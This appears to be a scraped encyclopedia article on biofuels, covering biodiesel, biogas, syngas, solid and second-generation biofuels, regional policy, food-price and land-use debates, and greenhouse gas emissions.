Biodiesel is the most common biofuel in Europe. It is produced from oils or fats using transesterification and is a liquid similar in composition to fossil/mineral diesel. Chemically, it consists mostly of fatty acid methyl (or ethyl) esters (FAMEs). Feedstocks for biodiesel include animal fats, vegetable oils, soyrapeseedjatrophamahuamustardflaxsunflowerpalm oilhempfield pennycresspongamia pinnata and algae. Pure biodiesel (B100) is the lowest emission diesel fuel. Although liquefied petroleum gas and hydrogen have cleaner combustion, they are used to fuel much less efficient petrol engines and are not as widely available.
Biodiesel can be used in any diesel engine when mixed with mineral diesel. In some countries manufacturers cover their diesel engines under warranty for B100 use, although Volkswagen of Germany, for example, asks drivers to check by telephone with the VW environmental services department before switching to B100. B100 may become more viscous at lower temperatures, depending on the feedstock used. In most cases, biodiesel is compatible with diesel engines from 1994 onwards, which use 'Viton' (by DuPont) synthetic rubber in their mechanical fuel injection systems.
Electronically controlled 'common rail' and 'unit injector' type systems from the late 1990s onwards may only use biodiesel blended with conventional diesel fuel. These engines have finely metered and atomized multi-stage injection systems that are very sensitive to the viscosity of the fuel. Many current generation diesel engines are made so that they can run on B100 without altering the engine itself, although this depends on the fuel raildesign. Since biodiesel is an effective solvent and cleans residues deposited by mineral diesel, engine filters may need to be replaced more often, as the biofuel dissolves old deposits in the fuel tank and pipes. It also effectively cleans the engine combustion chamber of carbon deposits, helping to maintain efficiency. In many European countries, a 5% biodiesel blend is widely used and is available at thousands of gas stations.[14][15] Biodiesel is also an oxygenated fuel, meaning that it contains a reduced amount of carbon and higher hydrogen and oxygen content than fossil diesel. This improves the combustion of biodiesel and reduces the particulate emissions from un-burnt carbon.
Biodiesel is also safe to handle and transport because it is as biodegradable as sugar, 10 times less toxic than table salt, and has a high flash point of about 300 F (148 C) compared to petroleum diesel fuel, which has a flash point of 125 F (52 C).[16]
In the USA, more than 80% of commercial trucks and city buses run on diesel. The emerging US biodiesel market is estimated to have grown 200% from 2004 to 2005. "By the end of 2006 biodiesel production was estimated to increase fourfold [from 2004] to more than" 1 billion US gallons (3,800,000 m3).[17]

[edit]Green diesel

Green diesel, also known as renewable diesel, is a form of diesel fuel which is derived from renewable feedstock rather than the fossil feedstock used in most diesel fuels. Green diesel feedstock can be sourced from a variety of oils including canolaalgaejatropha and salicornia in addition to tallow. Green diesel uses traditional fractional distillation to process the oils, not to be confused with biodiesel which is chemically quite different and processed using transesterification.
“Green Diesel” as commonly known in Ireland should not be confused with dyed green diesel sold at a lower tax rate for agriculture purposes, using the dye allows custom officers to determine if a person is using the cheaper diesel in higher taxed applications such as commercial haulage or cars.[18]

[edit]Vegetable oil

Filtered waste vegetable oil
Straight unmodified edible vegetable oil is generally not used as fuel, but lower quality oil can and has been used for this purpose. Used vegetable oil is increasingly being processed into biodiesel, or (more rarely) cleaned of water and particulates and used as a fuel.
Also here, as with 100% biodiesel (B100), to ensure that the fuel injectors atomize the vegetable oil in the correct pattern for efficient combustion, vegetable oil fuel must be heated to reduce its viscosity to that of diesel, either by electric coils or heat exchangers. This is easier in warm or temperate climates. Big corporations like MAN B&W DieselWärtsilä, and Deutz AG as well as a number of smaller companies such as Elsbett offer engines that are compatible with straight vegetable oil, without the need for after-market modifications.
Vegetable oil can also be used in many older diesel engines that do not use common rail or unit injection electronic diesel injection systems. Due to the design of the combustion chambers in indirect injection engines, these are the best engines for use with vegetable oil. This system allows the relatively larger oil molecules more time to burn. Some older engines, especially Mercedes are driven experimentally by enthusiasts without any conversion, a handful of drivers have experienced limited success with earlier pre-"Pumpe Duse" VW TDI engines and other similar engines with direct injection. Several companies like Elsbettor Wolf have developed professional conversion kits and successfully installed hundreds of them over the last decades.
Oils and fats can be hydrogenated to give a diesel substitute. The resulting product is a straight chain hydrocarbon with a high cetane number, low in aromaticsand sulfur and does not contain oxygen. Hydrogenated oils can be blended with diesel in all proportions. Hydrogenated oils have several advantages over biodiesel, including good performance at low temperatures, no storage stability problems and no susceptibility to microbial attack.[19]

[edit]Bioethers

Bio ethers (also referred to as fuel ethers or oxygenated fuels) are cost-effective compounds that act as octane rating enhancers. They also enhance engineperformance, whilst significantly reducing engine wear and toxic exhaust emissions. Greatly reducing the amount of ground-level ozone, they contribute to the quality of the air we breathe.[20][21]

[edit]Biogas

Pipes carrying biogas
Biogas is methane produced by the process of anaerobic digestion of organic material by anaerobes.[22] It can be produced either from biodegradable wastematerials or by the use of energy crops fed into anaerobic digesters to supplement gas yields. The solid byproduct, digestate, can be used as a biofuel or a fertilizer.
Note:Landfill gas is a less clean form of biogas which is produced in landfills through naturally occurring anaerobic digestion. If it escapes into the atmosphere it is a potential greenhouse gas.
  • Farmers can produce biogas from manure from their cows by using an anaerobic digester (AD).[23]

[edit]Syngas

Syngas, a mixture of carbon monoxidehydrogen and other hydrocarbons is produced by partial combustion of biomass, that is, combustion with an amount ofoxygen that is not sufficient to convert the biomass completely to carbon dioxide and water.[19] Before partial combustion the biomass is dried, and sometimespyrolysed. The resulting gas mixture, syngas, is more efficient than direct combustion of the original biofuel; more of the energy contained in the fuel is extracted.
  • Syngas may be burned directly in internal combustion engines, turbines or high-temperature fuel cells.[24] The wood gas generator is a wood-fueled gasification reactor that can be connected to an internal combustion engine.
  • Syngas can be used to produce methanolDME and hydrogen, or converted via the Fischer-Tropsch process to produce a diesel substitute, or a mixture of alcohols that can be blended into gasoline. Gasification normally relies on temperatures >700°C.
  • Lower temperature gasification is desirable when co-producing biochar but results in a Syngas polluted with tar.

[edit]Solid biofuels

Examples include woodsawdustgrass trimmings, domestic refusecharcoalagricultural waste, non-food energy crops, and dried manure.
When raw biomass is already in a suitable form (such as firewood), it can burn directly in a stove or furnace to provide heat or raise steam. When raw biomass is in an inconvenient form (such as sawdust, wood chips, grass, urban waste wood, agricultural residues), the typical process is to densify the biomass. This process includes grinding the raw biomass to an appropriate particulate size (known as hogfuel), which depending on the densification type can be from 1 to 3 cm (1 in), which is then concentrated into a fuel product. The current types of processes are wood pellet, cube, or puck. The pellet process is most common in Europe and is typically a pure wood product. The other types of densification are larger in size compared to a pellet and are compatible with a broad range of input feedstocks. The resulting densified fuel is easier to transport and feed into thermal generation systems such as boilers.
One of the advantages of solid biomass fuel is that it is often a by-product, residue or waste-product of other processes, such as farming, animal husbandry and forestry.[25] In theory this means there is no competition between fuel and food production, although this is not always the case.[25]
A problem with the combustion of raw biomass is that it emits considerable amounts of pollutants such as particulates and PAHs (polycyclic aromatic hydrocarbons). Even modern pellet boilers generate much more pollutants than oil or natural gas boilers. Pellets made from agricultural residues are usually worse than wood pellets, producing much larger emissions of dioxins andchlorophenols.[26]
Notwithstanding the above noted study, numerous studies have shown that biomass fuels have significantly less impact on the environment than fossil based fuels. Of note is the U.S. Department of Energy Laboratory, Operated by Midwest Research Institute Biomass Power and Conventional Fossil Systems with and without CO2 Sequestration – Comparing the Energy BalanceGreenhouse Gas Emissions and Economics Study. Power generation emits significant amounts of greenhouse gases (GHGs), mainly carbon dioxide (CO2). Sequestering CO2 from the power plant flue gas can significantly reduce the GHGs from the power plant itself, but this is not the total picture. CO2 capture and sequestration consumes additional energy, thus lowering the plant's fuel-to-electricity efficiency. To compensate for this, more fossil fuel must be procured and consumed to make up for lost capacity.
Taking this into consideration, the global warming potential (GWP), which is a combination of CO2, methane (CH4), and nitrous oxide (N2O) emissions, and energy balance of the system need to be examined using a life cycle assessment. This takes into account the upstream processes which remain constant after CO2 sequestration as well as the steps required for additional power generation. Firing biomass instead of coal led to a 148% reduction in GWP.
A derivative of solid biofuel is biochar, which is produced by biomass pyrolysis. Bio-char made from agricultural waste can substitute for wood charcoal. As wood stock becomes scarce this alternative is gaining ground. In eastern Democratic Republic of Congo, for example, biomass briquettes are being marketed as an alternative to charcoal in order to protect Virunga National Parkfrom deforestation associated with charcoal production.[27]

[edit]Second generation biofuels (advanced biofuels)

Second generation biofuels are biofuels produced from sustainable feedstock. Sustainability of a feedstock is defined among others by availability of the feedstock, impact on GHG emissions and impact on biodiversity and land use.[28] Many second generation biofuels are under development such as Cellulosic ethanolAlgae fuel[29]., biohydrogenbiomethanolDMFBioDMEFischer-Tropsch diesel, biohydrogen diesel, mixed alcohols and wood diesel.
Cellulosic ethanol production uses non-food crops or inedible waste products and does not divert food away from the animal or human food chain. Lignocellulose is the "woody" structural material of plants. This feedstock is abundant and diverse, and in some cases (like citrus peels or sawdust) it is in itself a significant disposal problem.
Producing ethanol from cellulose is a difficult technical problem to solve. In nature, ruminant livestock (like cattle) eat grass and then use slow enzymatic digestive processes to break it intoglucose (sugar). In cellulosic ethanol laboratories, various experimental processes are being developed to do the same thing, and then the sugars released can be fermented to make ethanol fuel. In 2009 scientists reported developing, using "synthetic biology", "15 new highly stable fungal enzyme catalysts that efficiently break down cellulose into sugars at high temperatures", adding to the 10 previously known.[30] The use of high temperatures, has been identified as an important factor in improving the overall economic feasibility of the biofuel industry and the identification of enzymes that are stable and can operate efficiently at extreme temperatures is an area of active research.[31] In addition, research conducted at Delft University of Technology by Jack Pronk has shown that elephant yeast, when slightly modified can also create ethanol from non-edible ground sources (e.g. straw).[32][33]
The recent discovery of the fungus Gliocladium roseum points toward the production of so-called myco-diesel from cellulose. This organism (recently discovered in rainforests of northernPatagonia) has the unique capability of converting cellulose into medium length hydrocarbons typically found in diesel fuel.[34] Scientists also work on experimental recombinant DNA genetic engineering organisms that could increase biofuel potential.
Scientists working with the New Zealand company Lanzatech have developed a technology to use industrial waste gases such as carbon monoxide from steel mills as a feedstock for a microbial fermentation process to produce ethanol.[35][36] In October 2011, Virgin Atlantic announced it was joining with Lanzatech to commission a demonstration plant in Shanghai that would produce an aviation fuel from waste gases from steel production.[37]
Scientists working in Minnesota have developed co-cultures of Shewanella and Synechococcus that produce long chain hydrocarbons directly from water, carbon dioxide, and sunlight.[38] The technology has received ARPA-E funding.

[edit]Biofuels by region

There are international organizations such as IEA Bioenergy,[39] established in 1978 by the OECD International Energy Agency (IEA), with the aim of improving cooperation and information exchange between countries that have national programs in bioenergy research, development and deployment. The U.N. International Biofuels Forum is formed by BrazilChinaIndiaSouth Africa, the United States and the European Commission.[40] The world leaders in biofuel development and use are Brazil, United States, France, Sweden and Germany. Russia also has 22% of worlds forest[41] and is a big biomass (solid biofuels) supplier. In 2010, Russian pulp and paper maker, Vyborgskaya Cellulose, said they would be producing pellets that can be used in heat and electricity generation from its plant in Vyborg by the end of the year.[42] The plant will eventually produce about 900,000 tons of pellets per year, making it the largest in the world once operational.
Biofuels currently make up 3.1%[43] of the total road transport fuel in the UK or 1,440 million litres. By 2020, 10 per cent of the energy used in UK road and rail transport must come from renewable sources – this is the equivalent of replacing 4.3 million tonnes of fossil oil each year. Conventional biofuels are likely to produce between 3.7 and 6.6 per cent of the energy needed in road and rail transport, while advanced biofuels could meet up to 4.3 per cent of the UK’s renewable transport fuel target by 2020.[44]

[edit]Issues with biofuel production and use

There are various social, economic, environmental and technical issues with biofuel production and use, which have been discussed in the popular media and scientific journals. These include: the effect of moderating oil prices, the "food vs fuel" debate, poverty reduction potential, carbon emissions levels, sustainable biofuel production, deforestation and soil erosion, loss of biodiversity, impact on water resources, as well as energy balance and efficiency. The International Resource Panel, which provides independent scientific assessments and expert advice on a variety of resource-related themes, assessed the issues relating to biofuel use in its first report Towards sustainable production and use of resources: Assessing Biofuels.[45] In it, it outlined the wider and interrelated factors that need to be considered when deciding on the relative merits of pursuing one biofuel over another. It concluded that not all biofuels perform equally in terms of their impact on climate, energy security and ecosystems, and suggested that environmental and social impacts need to be assessed throughout the entire life-cycle.
Although there are many current issues with biofuel production and use, the development of new biofuel crops and second generation biofuels attempts to circumvent these issues. Many scientists and researchers are working to develop biofuel crops that require less land and use fewer resources, such as water, than current biofuel crops do. According to the journal "Renewable fuels from algae: An answer to debatable land based fuels",[46] algae is a source for biofuels that could utilize currently unprofitable land and waste water from different industries. Algae are able to grow in wastewater, which does not affect the land or freshwater needed to produce current food and fuel crops. Furthermore, algae are not part of the human food chain, and therefore, do not take away food resources from humans.
The effects of the biofuel industry on food are still being debated. According to a recent study entitled "Impact of biofuel production and other supply and demand factors on food price increases in 2008",[47] biofuel production was accountable for 3-30% of the increase in food prices in 2008. A recent study for the International Centre for Trade and Sustainable Development shows that market-driven expansion of ethanol in the US increased maize prices by 21 percent in 2009, in comparison with what prices would have been had ethanol production been frozen at 2004 levels.[48] This has prompted researchers to develop biofuel crops and technologies that will reduce the impact of the growing biofuel industry on food production and cost.
One step to overcoming these issues is developing biofuel crops best suited to each region of the world. If each region utilized a specific biofuel crop, the need to use fossil fuels to transport the fuel to other places for processing and consumption will be diminished. Furthermore, certain areas of the globe are unsuitable for producing crops that require large amounts of water and nutrient rich soil. Therefore, current biofuel crops, such as corn, are unpractical in different environments and regions of the globe.
In 2012, the United States House Committee on Armed Services put language into the 2013 National Defense Authorization Act that would prevent the Pentagon from purchasing biofuels that offered improved performance for combat aircraft.[49]

[edit]Current research

There is ongoing research into finding more suitable biofuel crops and improving the oil yields of these crops. Using the current yields, vast amounts of land and fresh water would be needed to produce enough oil to completely replace fossil fuel usage. It would require twice the land area of the US to be devoted to soybean production, or two-thirds to be devoted to rapeseed production, to meet current US heating and transportation needs.[citation needed]
Specially bred mustard varieties can produce reasonably high oil yields and are very useful in crop rotation with cereals, and have the added benefit that the meal leftover after the oil has been pressed out can act as an effective and biodegradable pesticide.[50]
The NFESC, with Santa Barbara-based Biodiesel Industries is working to develop biofuels technologies for the US navy and military, one of the largest diesel fuel users in the world. [51] A group of Spanish developers working for a company called Ecofasa announced a new biofuel made from trash. The fuel is created from general urban waste which is treated by bacteria to produce fatty acids, which can be used to make biofuels.[52]

[edit]Ethanol biofuels

As the primary source of biofuels in North America, many organizations are conducting research in the area of ethanol production. The National Corn-to-Ethanol Research Center (NCERC) is a research division of Southern Illinois University Edwardsville dedicated solely to ethanol-based biofuel research projects. [53] On the Federal level, the USDA conducts a large amount of research regarding ethanol production in the United States. Much of this research is targeted toward the effect of ethanol production on domestic food markets. [54] A division of the U.S. Department of Energy, the National Renewable Energy Laboratory (NREL), has also conducted various ethanol research projects, mainly in the area of cellulosic ethanol. [55]

[edit]Algal biofuels

From 1978 to 1996, the U.S. NREL experimented with using algae as a biofuels source in the "Aquatic Species Program".[56] A self-published article by Michael Briggs, at the UNH Biofuels Group, offers estimates for the realistic replacement of all vehicular fuel with biofuels by utilizing algae that have a natural oil content greater than 50%, which Briggs suggests can be grown on algae ponds at wastewater treatment plants.[57] This oil-rich algae can then be extracted from the system and processed into biofuels, with the dried remainder further reprocessed to create ethanol. The production of algae to harvest oil for biofuels has not yet been undertaken on a commercial scale, but feasibility studies have been conducted to arrive at the above yield estimate. In addition to its projected high yield, algaculture — unlike crop-based biofuels — does not entail a decrease in food production, since it requires neither farmland nor fresh water. Many companies are pursuing algae bio-reactors for various purposes, including scaling up biofuels production to commercial levels.[58][59] Prof. Rodrigo E. Teixeira from the University of Alabama in Huntsvilledemonstrated the extraction of biofuels lipids from wet algae using a simple and economical reaction in ionic liquids[60]

[edit]Jatropha

Several groups in various sectors are conducting research on Jatropha curcas, a poisonous shrub-like tree that produces seeds considered by many to be a viable source of biofuels feedstock oil.[61] Much of this research focuses on improving the overall per acre oil yield of Jatropha through advancements in genetics, soil science, and horticultural practices.
SG Biofuels, a San Diego-based Jatropha developer, has used molecular breeding and biotechnology to produce elite hybrid seeds of Jatropha that show significant yield improvements over first generation varieties.[62] SG Biofuels also claims that additional benefits have arisen from such strains, including improved flowering synchronicity, higher resistance to pests and disease, and increased cold weather tolerance.[63]
Plant Research International, a department of the Wageningen University and Research Centre in the Netherlands, maintains an ongoing Jatropha Evaluation Project (JEP) that examines the feasibility of large scale Jatropha cultivation through field and laboratory experiments.[64] The Center for Sustainable Energy Farming (CfSEF) is a Los Angeles-based non-profit research organization dedicated to Jatropha research in the areas of plant science, agronomy, and horticulture. Successful exploration of these disciplines is projected to increase Jatropha farm production yields by 200-300% in the next ten years. [65]

[edit]Fungi

A group at the Russian Academy of Sciences in Moscow published a paper in September 2008, stating that they had isolated large amounts of lipids from single-celled fungi and turned it into biofuels in an economically efficient manner. More research on this fungal species; Cunninghamella japonica, and others, is likely to appear in the near future.[66] The recent discovery of a variant of the fungus Gliocladium roseum points toward the production of so-called myco-diesel from cellulose. This organism was recently discovered in the rainforests of northern Patagonia and has the unique capability of converting cellulose into medium length hydrocarbons typically found in diesel fuel.[67]

[edit]Greenhouse gas emissions

According to Britain's National Non-Food Crops Centre, total net savings from using first-generation biodiesel as a transport fuel range from 25-82% (depending on the feedstock used), compared to diesel derived from crude oil.[68] Nobel Laureate Paul Crutzen, however, finds that the emissions of nitrous oxide due to nitrate fertilisers is seriously underestimated, and tips the balance such that most biofuels produce more greenhouse gases than the fossil fuels they replace. Producing lignocellulosic biofuels offers potentially greater greenhouse gas emissions savings than those obtained by first generation biofuels. Lignocellulosic biofuels are predicted by oil industry body CONCAWE [1] to reduce greenhouse gas emissions by around 90% when compared with fossil petroleum[citation needed], in contrast first generation biofuels were found to offer savings of 20-70%[69][not in citation given]
Some scientists have expressed concerns about land-use change in response to greater demand for crops to use for biofuel and the subsequent carbon emissions.[70] The payback period, that is, the time it will take biofuels to pay back the carbon debt that they acquire due to land-use change, has been estimated to be between 100–1000 years depending on the specific instance and location of land-use change. However, no-till practices combined with cover crop practices can reduce the payback period to 3 years for grassland conversion and 14 years for forest conversion.[71] Biofuels made from waste biomass or from biomass grown on abandoned agricultural lands incur little to no carbon debt.[72]